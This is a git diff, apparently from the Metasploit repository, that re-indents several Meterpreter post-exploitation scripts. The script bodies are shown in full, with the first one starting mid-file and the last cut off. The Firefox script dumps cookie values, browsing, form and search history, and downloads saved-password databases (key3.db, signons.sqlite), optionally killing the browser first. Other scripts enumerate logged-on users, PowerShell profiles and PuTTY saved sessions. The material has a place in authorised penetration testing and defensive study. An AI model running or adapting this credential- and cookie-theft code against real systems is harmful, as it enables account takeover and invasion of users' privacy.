of Downloads using Firefox made by #{usrnm}") - db.execute('SELECT url FROM moz_places, moz_historyvisits ' + - 'WHERE moz_places.id = moz_historyvisits.place_id '+ - 'AND visit_type = "7" ORDER by visit_date') do |row| - dnldsmade << row - end - print_status("\tSaving Download list to #{download_list}") - if dnldsmade.length != 0 - dnldsmade.each do |d| - file_local_write(download_list,"\t#{d.to_s} \n") - end - else - print_status("\tIt appears that downloads where cleared for this account") - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting Firefox URL History for #{usrnm}") - db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' + - 'WHERE moz_places.id = moz_historyvisits.place_id ' + - 'AND visit_type = "1" ORDER by visit_date' ) do |row| - sitesvisited << row - end - print_status("\tSaving URL History to #{url_history}") - if sitesvisited.length != 0 - sitesvisited.each do |s| - file_local_write(url_history,"\t#{s.to_s}\n") - end - else - print_status("\tIt appears that Browser History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting Firefox Form History for #{usrnm}") - db = SQLite3::Database.new(formdb) - #print_status("\tProcessing #{formdb}") - db.execute("SELECT fieldname,value FROM moz_formhistory") do |row| - formvals << "\tField: #{row[0]} Value: #{row[1]}\n" - end - print_status("\tSaving Firefox Form History to #{form_history}") - if formvals.length != 0 - file_local_write(form_history,formvals) - else - print_status("\tIt appears that Form History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + db.execute('select a.url from moz_places a, moz_bookmarks b, '+ + 'moz_bookmarks_roots c where a.id=b.fk and parent=2'+ + ' and folder_id=2 and a.hidden=0') do |row| + bkmrks << row + end + print_status("\tSaving to #{bookmarks}") + if bkmrks.length != 0 + bkmrks.each do |b| + file_local_write(bookmarks,"\t#{b.to_s}\n") + end + else + print_status("\tIt appears that there are no bookmarks for this account") + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + #-------------------------------------------------------------------------- + begin + print_status("\tGetting list of Downloads using Firefox made by #{usrnm}") + db.execute('SELECT url FROM moz_places, moz_historyvisits ' + + 'WHERE moz_places.id = moz_historyvisits.place_id '+ + 'AND visit_type = "7" ORDER by visit_date') do |row| + dnldsmade << row + end + print_status("\tSaving Download list to #{download_list}") + if dnldsmade.length != 0 + dnldsmade.each do |d| + file_local_write(download_list,"\t#{d.to_s} \n") + end + else + print_status("\tIt appears that downloads where cleared for this account") + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + #-------------------------------------------------------------------------- + begin + print_status("\tGetting Firefox URL History for #{usrnm}") + db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' + + 'WHERE moz_places.id = moz_historyvisits.place_id ' + + 'AND visit_type = "1" ORDER by visit_date' ) do |row| + sitesvisited << row + end + print_status("\tSaving URL History to #{url_history}") + if sitesvisited.length != 0 + sitesvisited.each do |s| + file_local_write(url_history,"\t#{s.to_s}\n") + end + else + print_status("\tIt appears that Browser History has been cleared") + end + db.close + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + #-------------------------------------------------------------------------- + begin + print_status("\tGetting Firefox Form History for #{usrnm}") + db = SQLite3::Database.new(formdb) + #print_status("\tProcessing #{formdb}") + db.execute("SELECT fieldname,value FROM moz_formhistory") do |row| + formvals << "\tField: #{row[0]} Value: #{row[1]}\n" + end + print_status("\tSaving Firefox Form History to #{form_history}") + if formvals.length != 0 + file_local_write(form_history,formvals) + else + print_status("\tIt appears that Form History has been cleared") + end + db.close + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end - begin - print_status("\tGetting Firefox Search History for #{usrnm}") - db = SQLite3::Database.new(searchdb) - #print_status("\tProcessing #{searchdb}") - db.execute("SELECT name,value FROM engine_data") do |row| - searches << "\tField: #{row[0]} Value: #{row[1]}\n" - end - print_status("\tSaving Firefox Search History to #{search_history}") - if searches.length != 0 - file_local_write(search_history,searches) - else - print_status("\tIt appears that Search History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - # Create Directory for dumping Firefox cookies - ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}") - ::FileUtils.mkdir_p(ckfldr) - db = SQLite3::Database.new(cookiesdb) - db.results_as_hash = true - print_status("\tGetting Firefox Cookies for #{usrnm}") - db.execute("SELECT * FROM moz_cookies;" ) do |item| - fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+") - fd.puts "Name: " + item['name'] + "\n" - fd.puts "Value: " + item['value'].to_s + "\n" - fd.puts "Host: " + item['host'] + "\n" - fd.puts "Path: " + item['path'] + "\n" - fd.puts "Expiry: " + item['expiry'].to_s + "\n" - fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n" - fd.puts "isSecure: " + item['isSecure'].to_s + "\n" - fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n" - fd.close - end - return results + begin + print_status("\tGetting Firefox Search History for #{usrnm}") + db = SQLite3::Database.new(searchdb) + #print_status("\tProcessing #{searchdb}") + db.execute("SELECT name,value FROM engine_data") do |row| + searches << "\tField: #{row[0]} Value: #{row[1]}\n" + end + print_status("\tSaving Firefox Search History to #{search_history}") + if searches.length != 0 + file_local_write(search_history,searches) + else + print_status("\tIt appears that Search History has been cleared") + end + db.close + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + # Create Directory for dumping Firefox cookies + ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}") + ::FileUtils.mkdir_p(ckfldr) + db = SQLite3::Database.new(cookiesdb) + db.results_as_hash = true + print_status("\tGetting Firefox Cookies for #{usrnm}") + db.execute("SELECT * FROM moz_cookies;" ) do |item| + fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+") + fd.puts "Name: " + item['name'] + "\n" + fd.puts "Value: " + item['value'].to_s + "\n" + fd.puts "Host: " + item['host'] + "\n" + fd.puts "Path: " + item['path'] + "\n" + fd.puts "Expiry: " + item['expiry'].to_s + "\n" + fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n" + fd.puts "isSecure: " + item['isSecure'].to_s + "\n" + fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n" + fd.close + end + return results end #------------------------------------------------------------------------------- #Function for getting password files def frfxpswd(path,usrnm) - @client.fs.dir.foreach(path) {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x + @client.fs.dir.foreach(path) {|x| + next if x =~ /^(\.|\.\.)$/ + fullpath = path + '\\' + x - if @client.fs.file.stat(fullpath).directory? - frfxpswd(fullpath,usrnm) - elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i - begin - dst = x - dst = @logs + ::File::Separator + usrnm + dst - print_status("\tDownloading Firefox Password file to '#{dst}'") - @client.fs.file.download_file(dst, fullpath) - rescue - print_error("\t******Failed to download file #{x}******") - print_error("\t******Browser could be running******") - end - end - } + if @client.fs.file.stat(fullpath).directory? + frfxpswd(fullpath,usrnm) + elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i + begin + dst = x + dst = @logs + ::File::Separator + usrnm + dst + print_status("\tDownloading Firefox Password file to '#{dst}'") + @client.fs.file.download_file(dst, fullpath) + rescue + print_error("\t******Failed to download file #{x}******") + print_error("\t******Browser could be running******") + end + end + } end #------------------------------------------------------------------------------- # Function for checking if Firefox is installed def frfxchk - found = false - registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a| - if a =~ /Firefox/ - print_status("Firefox was found on this system.") - found = true - end - end - return found + found = false + registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a| + if a =~ /Firefox/ + print_status("Firefox was found on this system.") + found = true + end + end + return found end #------------------------------------------------------------------------------- #Function for executing all pilfering actions for Firefox def frfxpilfer(frfoxdbloc,session,logs,usrnm,logfile) - print_status("Getting Firefox information for user #{usrnm}") - frfxplacesget(frfoxdbloc,usrnm) - frfxpswd(frfoxdbloc,usrnm) - file_local_write(logfile,frfxdmp(usrnm)) + print_status("Getting Firefox information for user #{usrnm}") + frfxplacesget(frfoxdbloc,usrnm) + frfxpswd(frfoxdbloc,usrnm) + file_local_write(logfile,frfxdmp(usrnm)) end # Function to kill Firefox if open def kill_firefox - print_status("Killing the Firefox Process if open...") - @client.sys.process.get_processes().each do |x| - if x['name'].downcase == "firefox.exe" - print_status("\tFirefox Process found #{x['name']} #{x['pid']}") - print_status("\tKilling process .....") - session.sys.process.kill(x['pid']) - end - end + print_status("Killing the Firefox Process if open...") + @client.sys.process.get_processes().each do |x| + if x['name'].downcase == "firefox.exe" + print_status("\tFirefox Process found #{x['name']} #{x['pid']}") + print_status("\tKilling process .....") + session.sys.process.kill(x['pid']) + end + end end ####################### Options ########################### @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."] + "-h" => [ false, "Help menu." ], + "-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."] ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting Firefox Browser." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-k" - kill_frfx = true - end + case opt + when "-h" + print_line "Meterpreter Script for extracting Firefox Browser." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + when "-k" + kill_frfx = true + end } if client.platform =~ /win32|win64/ - if frfxchk - user = @client.sys.config.getuid - if not is_system? - usrname = Rex::FileUtils.clean_path(@client.fs.file.expand_path("%USERNAME%")) - db_path = @client.fs.file.expand_path("%APPDATA%") + "\\Mozilla\\Firefox\\Profiles" - if kill_frfx - kill_firefox - end - print_status("Extracting Firefox data for user #{usrname}") - frfxpswd(db_path,usrname) - frfxplacesget(db_path,usrname) - frfxdmp(usrname) - else - registry_enumkeys("HKU").each do |sid| - if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/ - key_base = "HKU\\#{sid}" - usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME")) - db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles" - if kill_frfx - kill_firefox - end - print_status("Extracting Firefox data for user #{usrname}") - frfxpswd(db_path,usrname) - frfxplacesget(db_path,usrname) - frfxdmp(usrname) - end - end - end + if frfxchk + user = @client.sys.config.getuid + if not is_system? + usrname = Rex::FileUtils.clean_path(@client.fs.file.expand_path("%USERNAME%")) + db_path = @client.fs.file.expand_path("%APPDATA%") + "\\Mozilla\\Firefox\\Profiles" + if kill_frfx + kill_firefox + end + print_status("Extracting Firefox data for user #{usrname}") + frfxpswd(db_path,usrname) + frfxplacesget(db_path,usrname) + frfxdmp(usrname) + else + registry_enumkeys("HKU").each do |sid| + if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/ + key_base = "HKU\\#{sid}" + usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME")) + db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles" + if kill_frfx + kill_firefox + end + print_status("Extracting Firefox data for user #{usrname}") + frfxpswd(db_path,usrname) + frfxplacesget(db_path,usrname) + frfxdmp(usrname) + end + end + end - end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb index d38d35e24047..2cfd630ceb7f 100644 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ b/scripts/meterpreter/enum_logged_on_users.rb @@ -6,89 +6,89 @@ ######################## Functions ######################## def ls_logged - sids = [] - sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Logged Users", - 'Indent' => 1, - 'Columns' => - [ - "SID", - "Profile Path" - ]) - sids.flatten.each do |sid| - profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath") - tbl << [sid,profile_path] - end - print_line("\n" + tbl.to_s + "\n") + sids = [] + sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Logged Users", + 'Indent' => 1, + 'Columns' => + [ + "SID", + "Profile Path" + ]) + sids.flatten.each do |sid| + profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath") + tbl << [sid,profile_path] + end + print_line("\n" + tbl.to_s + "\n") end def ls_current - key_base, username = "","" - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Current Logged Users", - 'Indent' => 1, - 'Columns' => - [ - "SID", - "User" - ]) - registry_enumkeys("HKU").each do |sid| - case sid - when "S-1-5-18" - username = "SYSTEM" - tbl << [sid,username] - when "S-1-5-19" - username = "Local Service" - tbl << [sid,username] - when "S-1-5-20" - username = "Network Service" - tbl << [sid,username] - else - if sid =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ - key_base = "HKU\\#{sid}" - os = @client.sys.config.sysinfo['OS'] - if os =~ /(Windows 7|2008|Vista)/ - username = registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME") - elsif os =~ /(2000|NET|XP)/ - appdata_var = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") - username = '' - if appdata_var =~ /^\w\:\D*\\(\D*)\\\D*$/ - username = $1 - end - end - tbl << [sid,username] - end - end - end - print_line("\n" + tbl.to_s + "\n") + key_base, username = "","" + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Current Logged Users", + 'Indent' => 1, + 'Columns' => + [ + "SID", + "User" + ]) + registry_enumkeys("HKU").each do |sid| + case sid + when "S-1-5-18" + username = "SYSTEM" + tbl << [sid,username] + when "S-1-5-19" + username = "Local Service" + tbl << [sid,username] + when "S-1-5-20" + username = "Network Service" + tbl << [sid,username] + else + if sid =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ + key_base = "HKU\\#{sid}" + os = @client.sys.config.sysinfo['OS'] + if os =~ /(Windows 7|2008|Vista)/ + username = registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME") + elsif os =~ /(2000|NET|XP)/ + appdata_var = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + username = '' + if appdata_var =~ /^\w\:\D*\\(\D*)\\\D*$/ + username = $1 + end + end + tbl << [sid,username] + end + end + end + print_line("\n" + tbl.to_s + "\n") end #------------------------------------------------------------------------------- ####################### Options ########################### @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-l" => [ false, "List SID's of users who have loged in to the host." ], - "-c" => [ false, "List SID's of currently loged on users." ] - ) + "-h" => [ false, "Help menu." ], + "-l" => [ false, "List SID's of users who have loged in to the host." ], + "-c" => [ false, "List SID's of currently loged on users." ] + ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-l" - ls_logged - when "-c" - ls_current - end + case opt + when "-h" + print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + when "-l" + ls_logged + when "-c" + ls_current + end } if client.platform =~ /win32|win64/ - if args.length == 0 - print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + if args.length == 0 + print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb index 613b4923a0c8..b814acd0f47e 100644 --- a/scripts/meterpreter/enum_powershell_env.rb +++ b/scripts/meterpreter/enum_powershell_env.rb @@ -3,123 +3,123 @@ @client = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations") - print_line("USAGE: run enum_scripting_env") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations") + print_line("USAGE: run enum_scripting_env") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end } #Support Functions #------------------------------------------------------------------------------- def enum_users - os = @client.sys.config.sysinfo['OS'] - users = [] - user = @client.sys.config.getuid - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + os = @client.sys.config.sysinfo['OS'] + users = [] + user = @client.sys.config.getuid + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /Windows 7|Vista|2008/ - path4users = sysdrv + "\\Users\\" - profilepath = "\\Documents\\WindowsPowerShell\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - profilepath = "\\My Documents\\WindowsPowerShell\\" - end + if os =~ /Windows 7|Vista|2008/ + path4users = sysdrv + "\\Users\\" + profilepath = "\\Documents\\WindowsPowerShell\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + profilepath = "\\My Documents\\WindowsPowerShell\\" + end - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + profilepath - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + profilepath - users << userinfo - end - return users + if is_system? + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + profilepath + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + profilepath + users << userinfo + end + return users end #------------------------------------------------------------------------------- def enum_powershell - #Check if PowerShell is Installed - if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") - print_status("Powershell is Installed on this system.") - powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion") - print_status("Version: #{powershell_version}") - #Get PowerShell Execution Policy - begin - powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy") - rescue - powershell_policy = "Restricted" - end - print_status("Execution Policy: #{powershell_policy}") - powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path") - print_status("Path: #{powershell_path}") - if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns") - print_status("Powershell Snap-Ins:") - registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si| - print_status("\tSnap-In: #{si}") - registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v| - print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}") - end - end - else - print_status("No PowerShell Snap-Ins are installed") + #Check if PowerShell is Installed + if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") + print_status("Powershell is Installed on this system.") + powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion") + print_status("Version: #{powershell_version}") + #Get PowerShell Execution Policy + begin + powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy") + rescue + powershell_policy = "Restricted" + end + print_status("Execution Policy: #{powershell_policy}") + powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path") + print_status("Path: #{powershell_path}") + if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns") + print_status("Powershell Snap-Ins:") + registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si| + print_status("\tSnap-In: #{si}") + registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v| + print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}") + end + end + else + print_status("No PowerShell Snap-Ins are installed") - end - if powershell_version =~ /2./ - print_status("Powershell Modules:") - powershell_module_path = @client.fs.file.expand_path("%PSModulePath%") - @client.fs.dir.foreach(powershell_module_path) do |m| - next if m =~ /^(\.|\.\.)$/ - print_status("\t#{m}") - end - end - tmpout = [] - print_status("Checking if users have Powershell profiles") - enum_users.each do |u| - print_status("Checking #{u['username']}") - begin - @client.fs.dir.foreach(u["userappdata"]) do |p| - next if p =~ /^(\.|\.\.)$/ - if p =~ /Microsoft.PowerShell_profile.ps1/ - ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb") - until ps_profile.eof? - tmpout << ps_profile.read - end - ps_profile.close - if tmpout.length == 1 - print_status("Profile for #{u["username"]} not empty, it contains:") - tmpout.each do |l| - print_status("\t#{l.strip}") - end - end - end - end - rescue - end - end + end + if powershell_version =~ /2./ + print_status("Powershell Modules:") + powershell_module_path = @client.fs.file.expand_path("%PSModulePath%") + @client.fs.dir.foreach(powershell_module_path) do |m| + next if m =~ /^(\.|\.\.)$/ + print_status("\t#{m}") + end + end + tmpout = [] + print_status("Checking if users have Powershell profiles") + enum_users.each do |u| + print_status("Checking #{u['username']}") + begin + @client.fs.dir.foreach(u["userappdata"]) do |p| + next if p =~ /^(\.|\.\.)$/ + if p =~ /Microsoft.PowerShell_profile.ps1/ + ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb") + until ps_profile.eof? + tmpout << ps_profile.read + end + ps_profile.close + if tmpout.length == 1 + print_status("Profile for #{u["username"]} not empty, it contains:") + tmpout.each do |l| + print_status("\t#{l.strip}") + end + end + end + end + rescue + end + end - end + end end if client.platform =~ /win32|win64/ - enum_powershell + enum_powershell else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index 886dac8eed61..252c78d8c117 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -5,93 +5,93 @@ @client = client #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for enumerating Putty Configuration." - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "Meterpreter Script for enumerating Putty Configuration." + print_line(opts.usage) + raise Rex::Script::Completed + end } def hkcu_base - key_base = [] + key_base = [] - if not is_system? - key_base << "HKCU" - else - key = "HKU\\" - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ - key_base << "HKU\\#{k}" - end - end - end - return key_base + if not is_system? + key_base << "HKCU" + else + key = "HKU\\" + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key, base_key) + keys = open_key.enum_key + keys.each do |k| + if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ + key_base << "HKU\\#{k}" + end + end + end + return key_base end def check_putty(reg_key_base) - installed = false - app_list = [] - app_list = registry_enumkeys("#{reg_key_base}\\Software") - os = @client.sys.config.sysinfo['OS'] - if os =~ /(Windows 7|2008|Vista)/ - username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME") - elsif os =~ /(2000|NET|XP)/ - appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA") - username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/) - end - if app_list.index("SimonTatham") - print_status("Putty Installed for #{username_profile}") - installed = true - end - return installed + installed = false + app_list = [] + app_list = registry_enumkeys("#{reg_key_base}\\Software") + os = @client.sys.config.sysinfo['OS'] + if os =~ /(Windows 7|2008|Vista)/ + username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME") + elsif os =~ /(2000|NET|XP)/ + appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA") + username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/) + end + if app_list.index("SimonTatham") + print_status("Putty Installed for #{username_profile}") + installed = true + end + return installed end def enum_known_ssh_hosts(reg_key_base) - print_status("Saved SSH Server Public Keys:") - registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host| - print_status("\t#{host}") - end + print_status("Saved SSH Server Public Keys:") + registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host| + print_status("\t#{host}") + end end def enum_saved_sessions(reg_key_base) - saved_sessions = [] - sessions_protocol = "" - sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions" - saved_sessions = registry_enumkeys(sessions_key) - if saved_sessions.length > 0 - saved_sessions.each do |saved_session| - print_status("Session #{saved_session}:") - sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol") - if sessions_protocol =~ /ssh/ - print_status("\tProtocol: SSH") - print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}") - print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}") - print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}") - elsif sessions_protocol =~ /serial/ - print_status("\tProtocol: Serial") - print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}") - print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}") - print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}") - print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}") - end - end - end + saved_sessions = [] + sessions_protocol = "" + sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions" + saved_sessions = registry_enumkeys(sessions_key) + if saved_sessions.length > 0 + saved_sessions.each do |saved_session| + print_status("Session #{saved_session}:") + sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol") + if sessions_protocol =~ /ssh/ + print_status("\tProtocol: SSH") + print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}") + print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}") + print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}") + elsif sessions_protocol =~ /serial/ + print_status("\tProtocol: Serial") + print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}") + print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}") + print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}") + print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}") + end + end + end end if client.platform =~ /win32|win64/ - hkcu_base.each do |hkb| - if check_putty(hkb) - enum_known_ssh_hosts(hkb) - enum_saved_sessions(hkb) - end - end + hkcu_base.each do |hkb| + if check_putty(hkb) + enum_known_ssh_hosts(hkb) + enum_saved_sessions(hkb) + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_shares.rb b/scripts/meterpreter/enum_shares.rb index 9d49918dd8c0..19dcff1ca257 100644 --- a/scripts/meterpreter/enum_shares.rb +++ b/scripts/meterpreter/enum_shares.rb @@ -2,115 +2,115 @@ #------------------------------------------------------------------------------- ################## Variable Declarations ################## opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] - ) 